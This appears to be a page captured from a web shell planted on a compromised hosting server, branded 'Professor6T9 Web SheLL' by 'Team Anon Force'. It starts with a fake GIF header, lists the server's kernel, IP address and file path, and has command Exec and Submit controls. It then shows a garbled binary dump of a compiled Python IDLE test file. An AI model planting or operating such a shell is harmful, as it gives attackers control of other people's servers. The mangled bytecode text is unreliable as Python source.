GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux premium264.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
LiteSpeed
69.57.162.12
/
proc
/
thread-self
/
root
/
opt
/
alt
/
python36
/
lib64
/
python3.6
/
idlelib
/
idle_test
/
__pycache__
[ HOME ]
Exec
Submit
File Name : test_warning.cpython-36.pyc
3 � f� � @ s� d Z ddlmZ ddlmZ ddlZddlmZ ddlZej Z de j kZdZed Z G d d � d ej�ZG dd� dej�Ze d kr�ejdd� dS )a6 Test warnings replacement in pyshell.py and run.py. This file could be expanded to include traceback overrides (in same two modules). If so, change name. Revise if output destination changes (http://bugs.python.org/issue18318). Make sure warnings module is left unaltered (http://bugs.python.org/issue18081). � )�run)�pyshellN)�captured_stderrZidlezf Warning (from warnings module): File "test_warning.py", line 99 Line of code UserWarning: Test z>>> c @ s( e Zd Zejed�dd� �Zdd� ZdS )�RunWarnTestz#Does not work when run within Idle.c C sD | j tjt� tjd� | j tjtj� tjd� | j tjt� d S )NTF)�assertIs�warnings�showwarningr �capture_warnings�idle_showwarning_subproc)�self� r �C/opt/alt/python36/lib64/python3.6/idlelib/idle_test/test_warning.py�test_showwarnings! s zRunWarnTest.test_showwarningsc C sB t � �2}tjdtdd|d� | jtj� |j� j� � W d Q R X d S )N�Testztest_warning.py�c zLine of code)r r r �UserWarning�assertEqual�idlemsg� splitlines�getvalue)r �fr r r � test_run_show) s zRunWarnTest.test_run_showN)�__name__� __module__�__qualname__�unittest�skipIf�running_in_idler r r r r r r s r c @ s0 e Zd Zejed�dd� �Zdd� Zdd� ZdS ) � ShellWarnTestz#Does not work when run within Idle.c C sD | j tjt� tjd� | j tjtj� tjd� | j tjt� d S )NTF)r r r �shellr �idle_showwarning)r r r r r 3 s zShellWarnTest.test_showwarningsc C s"